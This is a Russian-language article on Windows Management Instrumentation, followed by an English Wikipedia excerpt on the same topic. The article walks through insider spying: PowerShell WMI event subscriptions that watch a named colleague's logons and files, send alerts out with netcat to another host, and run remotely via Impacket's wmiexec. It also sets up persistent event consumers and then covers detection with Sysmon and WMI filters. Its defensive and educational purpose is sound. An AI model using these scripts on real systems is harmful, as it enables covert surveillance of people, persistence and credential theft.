Windows management instrumentation wmi это

Инструментарий управления Windows (WMI) — это подсистема PowerShell, которая обеспечивает администраторам доступ к мощным инструментам системного мониторинга. Этот инструментарий задумывался как быстрое и эффективное средство системного администрирования, однако далеко не все используют его с благими целями: с его помощью злоумышленники-инсайдеры могут шпионить за другими сотрудниками. Знание этой уязвимости WMI ощутимым образом упрощает обнаружение внутренних угроз и борьбу с ними.
В этой статье мы рассмотрим, что такое инструментарий WMI, для чего он нужен и как его можно использовать для отслеживания инсайдерской деятельности в системе. Мы также составили более подробное руководство, посвященное событиям WMI и инсайдерскому шпионажу, которое вы можете скачать бесплатно.

Краткий обзор: что такое WMI и для чего он нужен?

Приведем конкретный пример. С помощью WMI вы можете запросить, например, все большие файлы Excel, находящиеся в том или ином каталоге, а затем получать уведомление каждый раз при создании файла с заданным размером, например 1 Мб. Командлет Register-WmiEvent позволяет сделать все это с помощью одной не слишком сложной строки в PowerShell.

В хороших руках WMI может послужить многим благим целям, но точно так же он может стать инструментом вредоносной инсайдерской деятельности. Можно легко представить, как некий сотрудник с повадками Эдварда Сноудена использует WMI, чтобы шпионить за своими коллегами. Для этого ему даже не понадобятся особые технические знания.

Предположим, наш гипотетический инсайдер «случайно» подсмотрел, что его коллега Лекс периодически скачивает большие файлы Excel, содержащие номера социального страхования и другие личные данные клиентов. В этом случае наш незаметный инсайдер может соорудить нечто подобное:

Register-WmiEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance isa 'CIM_DataFile' and TargetInstance.FileSize > 2000000 and TargetInstance.Path = '\\Users\\lex\\Important' and targetInstance.Drive = 'C:’ and targetInstance.Extension =’xlsx’” -Action $action 

Этот код запрашивает объект CIM_DataFile для получения доступа к информации о создании файла Excel в указанном каталоге, а затем запускает выполнение блока сценария. Ближе к концу этой статьи мы рассмотрим подробнее, как может выглядеть этот блок сценария в случае с нашим гипотетическим инсайдером.

Для чего используется инструментарий управления Windows

Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:

• для сбора информации о статусе локальных и удаленных компьютерных систем
• настройки параметров безопасности для удаленных компьютеров и приложений
• настройки и редактирования свойств системы
• настройки и редактирования разрешений для авторизованных пользователей и групп
• выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
• назначения и редактирования меток дисков
• создания графика выполнения процессов
• резервного копирования репозиториев объектов
• включения и отключения регистрации ошибок

Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.

Архитектура инструментария управления Windows

Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:

• Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
• Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
• Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
• Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
• Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
• Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
• Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
• API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
• Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.

Выполнение запросов WMI

Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:

1. Откройте командную строку
2. Введите WMIC для вызова программы и нажмите клавишу Enter
3. Появится окно командной строки WMIC
4. В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:

   WMIC CPU

5. Результаты будут отображены в командной строке

Практически все команды, которые будут рассмотрены ниже, выполняются таким образом. Однако WMI позволяет получать гораздо более подробную информацию, чем сведения о процессоре, и в том числе от удаленных компьютеров и приложений.

Практикум по использованию событий WMI для наблюдения за системой

В этом разделе мы рассмотрим, как с помощью WMI выполнять команды и отслеживать процессы на удаленных компьютерах. Подобные приемы можно использовать в составе системы анализа поведения пользователей и сущностей (UEBA) для автоматического мониторинга процессов во всей системе и проверки на инсайдерские угрозы, о которых свидетельствуют подозрительное поведение или аномальные события.

Использование функциональности wmiexec из Impacket

В WMI можно выполнять разные функции, помимо управления событиями. В нем можно запускать процессы и выполнять команды в окнах Windows как на локальных, так и на удаленных компьютерах. Ради интереса попробуйте ввести команду wmic process call create ‘notepad.exe’ в сеансе PowerShell, чтобы открыть старый текстовый редактор Microsoft. При этом используется замечательный инструмент командной строки wmic, входящий в состав WMI. Здорово, правда?

Если бы я добавил параметр /Node:, а затем имя удаленного компьютера Windows, то смог бы запустить Блокнот на нем, при условии что у меня есть соответствующие разрешения. Совершенно ясно, что на практическом уровне wmic является незаменимым помощником для системных администраторов.

Прежде чем вы начнете возмущаться: я знаю, что существуют эквивалентные командлеты PowerShell. Однако я считаю, что синтаксис wmic легче запомнить.
Было бы здорово, если бы я мог с помощью WMI создать простую и незаметную псевдооболочку.

Скрытая псевдооболочка, созданная с помощью wmiexec

К моему везению, это можно сделать в Impacket. В тестовой среде Amazon я использовал свой любимый wmiexec для доступа к WMI через виртуальную машину Linux. В wmiexec предусмотрена возможность создания псевдооболочки: каждый раз, когда на стороне клиента вводится команда, на целевом компьютере создается отдельная оболочка для выполнения этой команды.
И в psexec, и в smbexec для запуска команд в удаленной системе используются службы Windows. Работа smbexec протекает незаметнее, так как он быстро создает, а затем удаляет службу, а psexec, наоборот, оставляет ее на виду.

Инструмент wmiexec напрямую запускает cmd.exe для удаленного выполнения команды. Созданную команду можно найти в средстве просмотра событий. Обратите внимание, что мы избежали привлекающих внимание служб Windows

Инструмент wmiexec абсолютно не затрагивает службы, вместо этого используя описанные выше возможности WMI для непосредственного запуска процесса. При поиске возможных источников угроз специалисты по безопасности редко начинают с WMI, в то время как службы обычно являются хорошим местом для начала поиска улик, указывающих на атаку. Хороший ход, wmiexec!

Использование событий WMI для наблюдения за пользователями

Пока я тешил себя мыслью, что я один такой умный и занимаюсь экспериментами с WMI, оказалось, что ребята, занимающиеся тестами на проникновение, уже давно поняли, как все работает. Вам обязательно нужно прочитать потрясающую презентацию Мэтта Грэбера (Matt Graeber) с конференции Black Hat 2015 года, где он рассказывает, как злоумышленники могут превратить WMI и весь его арсенал для работы с событиями в инструмент для взломов.

В моей истории я представляю себе инсайдера а-ля Сноуден, который обладает некоторыми техническими знаниями, но не глубокой хакерской мудростью, и которому доверяют другие сотрудники. Этому человеку не нужно знать все про WMI. Ему нужно знать только то, что требуется для работы на удаленном компьютере и инициирования событий.

Помимо файловых объектов, есть еще один интересный класс объектов, который можно изучить с помощью WMI, — win32_LogOnSession. Запрос этого базового объекта Windows позволяет найти пользователей, которые в данный момент находятся в системе. Затем можно использовать блок сценария действий Register-WmiEvent для запуска сценария PowerShell при удаленном входе нового пользователя в систему. Уловили суть? Злоумышленник может получать уведомления каждый раз, когда пользователь, за которым он следит, входит в целевую систему.

Вот что я набросал:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" –Action $action

Следующий вопрос — как запрограммировать выполнение блока сценария. Загадочного инсайдера из моих фантазий интересует конкретный пользователь — Круэлла. Наш злодей потихоньку шпионил за Круэллой и теперь планирует использовать собранную информацию, чтобы взломать ее рабочую учетную запись.

Задача блока сценария — проверить, кто вошел в систему, и определить, была ли это Круэлла. Я написал несколько строк кода PowerShell для этой цели, но это явно не самый лучший способ. Я никак не использую информацию о событии, передаваемую в блок сценария, а именно сведения о новом пользователе. Я наталкиваюсь на препятствия, причины которых я не могу понять в данный момент. Для этого нужно больше технических знаний, чем наш гипотетический инсайдер имеет или готов приобрести.

Вместо этого я просто перебрал список пользователей, возвращаемых gwmi Win32_Process (попробуйте запустить этот командлет в сеансе PowerShell), и сопоставил их с параметром «Круэлла». Можете полюбоваться на мое финальное решение:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {

$names=gwmi Win32_Process|% { $_.GetOwner().User}
foreach ($user in $names){

    if ($user -eq "cruella") {

        echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80
    }
}


}

Register-WmiEvent позволяет сохранять скрытность, поскольку он запускается только при новом входе в систему, вместо того чтобы регулярно запрашивать объект Win32_Process, что может быть довольно заметным.

Помните, что наш инсайдер старается не привлекать к себе внимания. У нее есть доступ к удаленной системе через psexec, smbexec или wmiexec (самый незаметный способ). Однако ей не нужно постоянно бродить туда-сюда по системе жертвы.

В этом и прелесть использования событий WMI. Вы можете дождаться уведомления от Register-WmiEvent, а затем спокойно сделать свой ход.

Интеграция Netcat и WMI

Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?

Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.

Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.

Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.

Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события

Устранение недочетов в механизме наблюдения WMI

В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.

Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.

 Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80}}}

Когда я начал работать над этим, я понял, что должен «преобразовать» специальные символы, такие как $, “ и |, и передавать их как литералы непосредственно в PowerShell. Еще одна головная боль: мне в итоге пришлось отказаться от использования вертикальных линий, поскольку они вызывали ошибки анализа. Не спрашивайте. Постепенно я пришел к этой длинной строке кода:

$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.\wmiexec C:\Users\lex\Documents\nc.exe 172.31.18.92 80 }}}
.\wmiexec.exe corp.acme/lex@172.31.46.115 "$command"

Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.

Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно

Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.

Почему при наблюдении нужно использовать постоянные события?

Правильный и одновременно требующий более глубоких знаний способ заключается в использовании постоянных событий WMI. Постоянные события WMI, хотя и представляют некоторую сложность, не только являются более эффективным инструментом для шпионов-инсайдеров, чем временные события, но и позволяют гораздо эффективнее отслеживать внутренние угрозы.

Изучение постоянных событий потребует некоторого времени, но они представляют наиболее эффективный способ реализации строгой системы мониторинга для больших систем. Они обладают более широкими возможностями, чем временные события WMI. Их также можно использовать для оповещения о нестандартной вредоносной активности, такой как DNS-туннелирование или нарушение политик Zero Trust.
Я посвятил изучению постоянных событий пару дней и обнаружил, что в PowerShell есть специальный командлет, который упрощает процесс создания фильтра событий, потребителя и объектов WMI между фильтром и потребителем. Как мы все знаем, PowerShell предоставляет администраторам широкие возможности для упрощения работы. К сожалению, данный пример показывает, как этими прекрасными возможностями могут воспользоваться злоумышленники.
Инсайдер создает постоянное событие на целевой системе, тем самым освобождая себя от необходимости присутствовать в сеансе оболочки. Событие остается там навсегда или до тех пор, пока не будет удалено явным образом. Подробнее о том, как это сделать, можно прочитать здесь , но в целом процесс похож на то, что я сделал выше с временным событием. Последнее, что потребуется от нашего хакера, — связать фильтр события с потребителем события.

Соглашусь, что для обычного сотрудника, который вдруг решил стать злобным хакером, это выглядит слишком круто. Ради интереса я почитал разные форумы и увидел, что многие люди безуспешно бьются над тем, чтобы заставить постоянные события WMI работать. Однако это вовсе не выходит за рамки возможностей нашего «Сноудена» и других сообразительных системных администраторов, которые решили перейти на темную сторону.

Постоянные события: советы для ИТ-администраторов

Эти методы не предназначены для обучения потенциальных хакеров или обиженных сотрудников, которые хотят отомстить работодателю. Все, чего я хочу, — это помочь ИТ-специалистам понять образ мысли хакера, чтобы они могли внедрить соответствующую защиту от атак на проникновение. Для них я показываю, как настроить фильтр и объекты потребителя с помощью командлета Set-WmiInstance:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{

EventNamespace = 'root/cimv2'
Name = “cruella”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL'
}


$command = "powershell.exe -Command {$names = gwmi Win32_Process; $users=@(); foreach ($n in $names) {$users += $n.GetOwner().User}; foreach ($u in $users) {if ($u -eq 'cruella') { C:\users\lex\Documents\nc.exe 172.31.45.240 10000}}}"


$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = "Consumer"
CommandLineTemplate = $Command

}

Ваше домашнее задание — придумать код PowerShell, который свяжет эти два компонента воедино.

В ходе моих собственных тестов я смог заставить постоянное событие работать на целевой системе без чрезмерных усилий и страданий. Как вы помните, этого было весьма сложно добиться с временными событиями WMI, которые длятся ровно столько, сколько и сеанс PowerShell.

Настроив постоянное событие WMI, чтобы, например, следить за входом пользователей в систему, инсайдер или хакер не обязан оставаться в целевой системе. Дополнительным бонусом является то, что постоянное событие WMI является устойчивым: при перезагрузке компьютера триггеры событий по-прежнему действуют. Это делает постоянные события WMI мощным и скрытным способом инициировать атаку, которая может включать гораздо больше, чем просто мониторинг. Как вы помните, события WMI — далеко не самое первое место, где специалисты по безопасности будут искать источник атаки.

Например, код PowerShell для потребителя события может выступать как средство запуска и скачивать вредоносное ПО, хранящееся на удаленном сервере, с помощью DownloadString. Великолепная презентация Мэтта Грэбера на конференции Black Hat содержит много информации о вредоносном потенциале постоянных событий WMI.

Если вы специалист по безопасности, то как вы будете работать с событиями WMI с точки зрения их потенциального вредоносного использования?

Удача на вашей стороне: с помощью командлета Get-WmiObject (псевдоним gwmi) можно создать список фильтров событий, потребителей и связывающих объектов:

Вы перечисляете постоянные события WMI с помощью Get-WMIObject и устанавливаете соответствующие параметры. Обратите внимание на отсутствие отметки о времени создания.

Теперь, если фильтр (или потребитель) постоянного события покажется им подозрительным, ИТ-специалисты могут отключить его путем удаления с помощью конвейера PowerShell и командлета WMI-RemoveObject:

Удаление постоянных событий WMI включает использование конвейера PowerShell

Обратите внимание, что здесь не указано ни время создания события, ни имя злонамеренного пользователя. Для получения этой криминалистической информации потребуется обратиться к журналам событий Windows. Подробнее об этом ниже.

Можно ли отключить постоянные события WMI?

По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.

Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.

Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.

Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM

В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.

Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.

Sysmon — удобная и понятная утилита для регистрации событий от Microsoft

Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.

Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?

На GitHub есть небольшой проект, где вы найдете код для настройки этой операции. Вот фрагмент кода для фильтра событий WMI, который позволяет отслеживать создание… да-да, фильтра событий WMI:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'

QueryLanguage = 'WQL'
}

Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.

Часто задаваемые вопросы об инструментарии управления Windows

Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.

WMI объявлен устаревшим?

Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.

Какие порты использует WMI?

WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.

WMI использует WimRM?

Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.

Заключение

Как мы увидели, WMI предоставляет администраторам мощный инструмент для мониторинга удаленных процессов и компьютеров и может использоваться при разработке соглашений о мониторинге конечных пользователей (EUMA) для автоматического оповещения о подозрительной активности. Это делает его отличным инструментом для обнаружения и устранения внутренних угроз, предотвращения попыток обойти политики безопасности, а также наблюдения за тем, как используются ваши системы.

Если вы хотите узнать больше о том, как использовать WMI для наблюдения за инсайдерской деятельностью, вы можете скачать наше подробное руководство здесь.

From Wikipedia, the free encyclopedia

Windows Management Instrumentation (WMI) consists of a set of extensions to the Windows Driver Model that provides an operating system interface through which instrumented components provide information and notification. WMI is Microsoft’s implementation of the Web-Based Enterprise Management (WBEM) and Common Information Model (CIM) standards from the Distributed Management Task Force (DMTF).

WMI allows scripting languages (such as VBScript or Windows’ PowerShell) to manage Microsoft Windows personal computers and servers, both locally and remotely. WMI comes preinstalled in Windows 2000 through Windows 11 OSes. It is available as a download for Windows NT and^[1] Windows 95 to Windows 98.^[2]

Microsoft also provides a command-line interface to WMI called Windows Management Instrumentation Command-line (WMIC).^[3] (In Windows 11, wmic /? displays «WMIC is deprecated.», followed by the help text.)

Purpose of WMI[edit]

The purpose of WMI is to define a proprietary set of environment-independent specifications which allow management information to be shared between management applications. WMI prescribes enterprise management standards and related technologies for Windows that work with existing management standards, such as Desktop Management Interface (DMI) and SNMP. WMI complements these other standards by providing a uniform model. This model represents the managed environment through which management data from any source can be accessed in a common way.

Development process[edit]

Because WMI abstracts the manageable entities with CIM and a collection of providers, the development of a provider implies several steps. The major steps can be summarized as follows:

1. Create the manageable entity model
   1. Define a model
   2. Implement the model
2. Create the WMI provider
   1. Determine the provider type to implement
   2. Determine the hosting model of the provider
   3. Create the provider template with the ATL wizard
   4. Implement the code logic in the provider
   5. Register the provider with WMI and the system
3. Test the provider
4. Create consumer sample code.

Importance of WMI providers[edit]

Since the release of the first WMI implementation during the Windows NT 4.0 SP4 era (as an out-of-band download), Microsoft has consistently added WMI providers to Windows:

• Under Windows NT 4.0, Microsoft had roughly 15 WMI providers available once WMI was installed
• When Windows 2000 was released, there were 29 WMI providers as part of the operating system installation
• With the release of Windows Server 2003, Microsoft included in the platform more than 80 WMI providers
• Windows Vista includes 13 new WMI providers,^[4] taking the number close to around 100 in all
• Windows Server 2008 includes more providers, including providers for IIS 7, PowerShell and virtualization
• Windows 10 includes 47 providers for the Mobile Device Management (MDM) service.^[5]
• Windows 10 ___

Many customers^[which?] have interpreted the growth in numbers of providers as a sign that WMI has become at Microsoft the «ubiquitous» management layer of Windows, even if Microsoft has never made this commitment explicit.

Because of a constant increasing exposure of management data through WMI in Windows, people in the IT systems management field started to develop scripts and automation procedures based on WMI.^{[citation needed]} Beyond the scripting needs, most leading management-software packages, such as MOM, SCCM, ADS, HP OpenView for Windows (HPOV), BMC Software, and CA, Inc. are WMI-enabled and capable of consuming and providing WMI information through various user interfaces. This enables administrators and operators not capable of scripting or programming on top of WMI to enjoy the benefits of WMI without even learning about it. However, if they want to, because WMI is scriptable, it gives them the opportunity to consume WMI information from scripts or from any WMI-aware enterprise-management software.

Features[edit]

For someone willing to develop one or many WMI providers, WMI offers many features out of the box. Here are the most important advantages:

1. Automation interfaces:
   Because WMI comes with a set of automation interfaces ready to use, all management features supported by a WMI provider and its set of classes get the scripting support for free out-of-the box. Beyond the WMI class design and the provider development, the Microsoft development and test teams are not required to create, validate or test a scripting model as it is already available from WMI.
2. .NET Management interfaces:
   Because the System.Management namespace ^[6] relies on the existing COM/DCOM plumbing, the created WMI provider and its set of WMI classes becomes automatically available to all .NET applications independently of the language used (e.g. C#, VB.NET). Beyond the WMI class design and the provider development, like for scripting, the Microsoft development and test teams are not required to create, validate and test new assemblies to support a new namespace in the .NET Framework as this support is already available from WMI for free.
3. C/C++ COM/DCOM programming interfaces:
   Like most components in Windows, COM/DCOM programmers can leverage the features of the provider they develop at the COM/DCOM interfaces level. Like in previous environments (scripting and .NET Framework), a COM/DCOM consumer just needs to interact with the standard set of WMI COM interfaces to leverage the WMI provider capabilities and its set of supported WMI classes. To make all management information available from the native APIs, the WMI provider developer just needs to interact with a set of pre-defined WMI COM interfaces. This will make the management information available at the WMI COM level automatically. Moreover, the scripting COM interface object model is very similar to the COM/DCOM interface object model, which makes it easy for developers to be familiar with the scripting experience.
4. Remoting capabilities over DCOM and SOAP:
   More than simply offering local COM capabilities, as management is all about remoting, WMI offers the DCOM transport. In addition, SOAP transport will be available in Windows Server 2003 R2 through the WS-Management initiative led by Microsoft, Intel, Sun Microsystems, and Dell. This initiative allows running any scripts remotely or to consume WMI data through a specific set of interfaces handling SOAP requests/responses. The advantage for the WMI provider developer is that when he exposes all his features through WMI, Windows Remote Management/WS-Management can in turn consume that information as well (embedded objects in WMI instances are not supported in Windows Server 2003 R2. It is however a target for Vista). All the layering to WS-Management and the mapping of the CIM data model to SOAP comes for free out of the WMI/WS-Management solution. In the event DCOM must be used, implementing DCOM requires the presence of a proxy DLL deployed on each client machine. As WMI is available in the Windows operating system since Windows 2000, these issues are eliminated.
5. Support for Queries:
   WMI offers support for WQL^[7] queries out of the box. This means that if a provider is not designed to support queries, WMI supports it by using an enumeration technique out of the provider.
6. Eventing capabilities:
   WMI offers the capability to notify a subscriber for any event it is interested in. WMI uses the WMI Query Language (WQL) to submit WQL event queries and defines the type of events to be returned. The eventing mechanism, with all related callbacks, is part of the WMI COM/DCOM and automation interfaces. Anyone writing a WMI provider can have the benefit of this functionality at no cost for his customers. It will be up to the consumer to decide how it wants to consume the management information exposed by the WMI provider and its related set of WMI classes.
7. Code template generator:
   To speed up the process of writing a WMI provider including all COM/DCOM interfaces and related definitions, the WMI team developed the WMI ATL Wizard to generate the code template implementing a provider. The code generated is based on the WMI class model initially designed by the developer. The WMI provider developer will be able to interface the pre-defined COM/DCOM interfaces for the WMI provider with its set of native APIs retrieving the management information to expose. The exercise consists in filling the “gaps” in the provider code to create the desired interfacing logic.
8. Predictability:
   Predictability is an important concern for IT professionals because it defines the capability of someone having an experience with a set of interfaces managing a Windows component to apply this knowledge right away, intuitively, to any other manageable Windows component without having relearn everything from ground up. Predictability for a customer is a real gain as it increases the Return of Investment (ROI). A person facing such a situation simply expects things to work the same way based on his previous experience. The constant increase of COM programming/scriptable interfaces has a huge impact on the predictability, as this makes it difficult for customers to automate, manage Windows and leverage their existing knowledge. WMI with CIM address this problem by always exposing the same programming object model (COM/DCOM, Automation, .NET) whatever the manageable entity is.
9. Protect existing customer investments:
   Protecting customers and partners investment motivates customers to invest in technologies. As Microsoft did invest a lot these past years in writing WMI providers, customers and partners invested in tools leveraging the WMI capabilities of Windows. Therefore, they naturally continue to exploit these capabilities instead of having to use a new set of specific interfaces for each Windows manageable component. A specific set of interfaces means having a specific set of agents or in-house developed software based on a new model or set of interfaces especially dedicated to a component or technology. By leveraging the capabilities of WMI today, customers and partners can leverage the work investment made in the past while minimizing their costs in developments, learning curves and new discoveries. This will also have a great impact on the stability and reliability of their infrastructure as they continue to leverage an existing implementation with an improved technology.
10. Provide a logical and unified administration model:
    As briefly described before in the introduction, this model is based on an industry standard called CIM defined by the DMTF (https://www.dmtf.org/). The CIM class-based schema is defined by a consortium of constructors and software developers that meets the requirements of the industry. This implies that not only Microsoft leverages the WMI capabilities, but also any other third party constructors or developers write their own code to fit into the model. For instance, Intel is doing this for some of their network driver adapters and software. HP is leveraging existing WMI providers and implementing their own WMI providers in their HP Open View Enterprise Management software. IBM consumes WMI from the Tivoli management suite, MOM and SMS are also consuming and providing WMI information. Lastly, Windows XP SP2 leverages WMI to get information status from anti-virus software and firewalls.

WMI tools[edit]

Some WMI tools can also be useful during the design and development phases. These tools are:

• The MOF compiler (MOFComp.exe): The Managed Object Format (MOF) compiler parses a file containing Managed Object Format statements and adds the classes and class instances defined in the file to the CIM repository. The MOF format is a specific syntax to define CIM class representation in an ASCII file (e.g. MIB are to SNMP what MOF files are to CIM). MOFComp.exe is included in every WMI installation. Every definition existing in the CIM repository is initially defined in an MOF file. MOF files are located in %SystemRoot%\System32\WBEM. During the WMI setup, they are loaded in the CIM repository.
• The WMI Administrative Tools: The WMI Administrative Tools are made of four tools: WMI CIM Studio, WMI Object Browser, WMI Event Registration and WMI Event Viewer. The most important tool for a WMI provider developer is WMI CIM Studio as it helps in the initial WMI class creation in the CIM repository. It uses a web interface to display information and relies on a collection of ActiveX components installed on the system when it runs for the first time. WMI CIM Studio provides the ability to:
  • Connect to a chosen system and browse the CIM repository in any namespace available.
  • Search for classes by their name, by their descriptions or by property names.
  • Review the properties, methods, and associations related to a given class.
  • See the instances available for a given class of the examined system.
  • Perform Queries in the WQL language.
  • Generate an MOF file based on selected classes.
  • Compile an MOF file to load it in the CIM repository.
